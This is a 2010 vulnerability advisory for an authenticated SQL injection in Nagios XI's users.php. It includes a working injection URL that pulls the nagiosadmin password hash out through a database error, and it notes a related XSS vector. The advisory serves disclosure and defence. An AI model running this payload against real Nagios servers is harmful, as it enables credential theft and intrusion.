Nagios XI users.php SQL Injection

` Nagios XI users.php SQL Injection  
  
Advisory Information  
Advisory ID: NGENUITY-2010-008  
Date published: 8/24/2010  
  
Vulnerability Information  
Class: SQL Injection (SQLi)  
  
Software Description  
Nagios XI is the commercial / enterprise version of the open source  
Nagios project.  
  
Vulnerability Description  
Nagios XI prior to version 2009R1.3 is vulnerable to SQL Injection. It  
is possible for specially designed queries to extract data via the  
database error messages. Authentication and access to users.php is  
required. It is possible to also use this SQL injection has a remote XSS  
vector as the error message is not properly sanitized.  
  
  
Technical Description  
The records variable on the users.php command is not properly sanitized  
and allows for injection of SQL commands. Stacked queries are also  
allowed into the postgres database.  
  
http://example.com/nagiosxi/admin/users.php?records=int8((select >  
password from xi_users where username= >  
CHR(110)||CHR(97)||CHR(103)||CHR(105)||CHR(111)||CHR(115)||CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)))&sortby=username&sortorder=asc&search=&page=1  
  
The password hash of the nagiosadmin user would be displayed in the  
error message as a result of this query.  
  
  
Credits  
This vulnerability was discovered by Adam Baldwin  
  
Original Advisory:  
http://ngenuity-is.com/advisories/2010/aug/24/nagios-xi-usersphp-sql-injection/  
`